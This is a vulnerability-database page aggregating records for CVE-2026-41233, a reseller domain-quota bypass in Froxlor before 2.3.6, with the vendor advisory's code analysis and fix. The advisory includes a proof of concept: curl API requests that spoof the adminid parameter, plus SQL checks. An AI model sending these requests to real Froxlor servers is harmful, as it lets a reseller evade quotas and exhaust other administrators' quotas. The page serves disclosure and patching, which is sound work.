Vulnerability-Lookup

CVE-2026-41233 (GCVE-0-2026-41233)

Vulnerability from cvelistv5 – Published: 2026-04-23 04:00 – Updated: 2026-04-23 12:26

Title

Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()

Summary

Froxlor is open source server administration software. Prior to version 2.3.6, in `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota. Version 2.3.6 fixes the issue.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-23 12:26 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
https://github.com/froxlor/froxlor/commit/bf47ba1…	x_refsource_MISC
https://github.com/froxlor/froxlor/releases/tag/2.3.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
froxlor	froxlor	Affected: < 2.3.6	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-41233

Vulnerability from fkie_nvd - Published: 2026-04-23 05:16 - Updated: 2026-06-17 10:46

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5	Patch
security-advisories@github.com	https://github.com/froxlor/froxlor/releases/tag/2.3.6	Release Notes
security-advisories@github.com	https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	froxlor	froxlor	*

JSON

To clipboard

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          "product": "froxlor",
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              "status": "affected",
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}

GHSA-JVX4-XV3M-HRJ4

Vulnerability from github – Published: 2026-04-16 00:46 – Updated: 2026-04-24 20:54

Summary

Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()

Details

Summary

In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.

Details

In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:

$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));

The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
}

When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:

The domain INSERT at line 757: 'adminid' => $adminid
The quota increment at lines 862-868:

$upd_stmt = Database::prepare("
    UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
    WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);

Compare with Domains.update() at lines 1386-1387 which correctly handles this case:

} else {
    $adminid = $result['adminid'];
}

The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.

Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.

PoC

# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'

# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)

# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1

# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged

# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1

# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'

curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'

# The reseller's domains_used remains unchanged, allowing indefinite creation

Impact

Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domains_used counter is never incremented.
Quota exhaustion DoS: The target admin's domains_used counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server.
Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.

Recommended Fix

Add an else branch to force $adminid to the caller's own admin ID when customers_see_all != '1', consistent with the pattern used in Domains.update():

// In lib/Froxlor/Api/Commands/Domains.php, after line 421:

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
} else {
    // Force adminid to the caller's own ID when they don't have customers_see_all
    $adminid = intval($this->getUserDetail('adminid'));
}

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:46:47Z",
    "nvd_published_at": "2026-04-23T05:16:05Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin\u0027s `domains_used` counter is incremented) and potentially exhausting another admin\u0027s quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this-\u003egetParam(\u0027adminid\u0027, true, $this-\u003egetUserDetail(\u0027adminid\u0027)));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == \u00271\u0027` (lines 410-421):\n\n```php\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this-\u003egetUserDetail(\u0027adminid\u0027)`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `\u0027adminid\u0027 =\u003e $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n    UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n    WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, [\u0027adminid\u0027 =\u003e $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n    $adminid = $result[\u0027adminid\u0027];\n}\n```\n\nThe initial quota check at line 321 checks the *caller\u0027s* own quota (`$this-\u003egetUserDetail(\u0027domains_used\u0027)`), but since the caller\u0027s `domains_used` is never incremented (the wrong admin\u0027s counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller\u0027s own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller\u0027s API key, specifying a different admin\u0027s ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller\u0027s own customers\n# - adminid=1 = the super-admin\u0027s ID (or any other admin\u0027s ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain=\u0027bypass-test-1.com\u0027;\n# Expected: adminid=1\n\n# Step 3: Check the reseller\u0027s quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=\u003creseller_id\u003e;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin\u0027s quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# The reseller\u0027s domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin\u0027s `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller\u0027s own admin ID when `customers_see_all != \u00271\u0027`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n} else {\n    // Force adminid to the caller\u0027s own ID when they don\u0027t have customers_see_all\n    $adminid = intval($this-\u003egetUserDetail(\u0027adminid\u0027));\n}\n```",
  "id": "GHSA-jvx4-xv3m-hrj4",
  "modified": "2026-04-24T20:54:37Z",
  "published": "2026-04-16T00:46:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()"
}

WID-SEC-W-2026-1124

Vulnerability from csaf_certbund - Published: 2026-04-14 22:00 - Updated: 2026-04-22 22:00

Summary

Froxlor: Mehrere Schwachstellen

Severity

Hoch

Scope

6 vulnerabilities in this advisory, including CVE-2026-41233.

CVE-2026-41233

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-41233 (GCVE-0-2026-41233)

FKIE_CVE-2026-41233

GHSA-JVX4-XV3M-HRJ4

Summary

Details

PoC

Impact

Recommended Fix

WID-SEC-W-2026-1124

Tags

Sightings

Nomenclature

Related by attack behaviour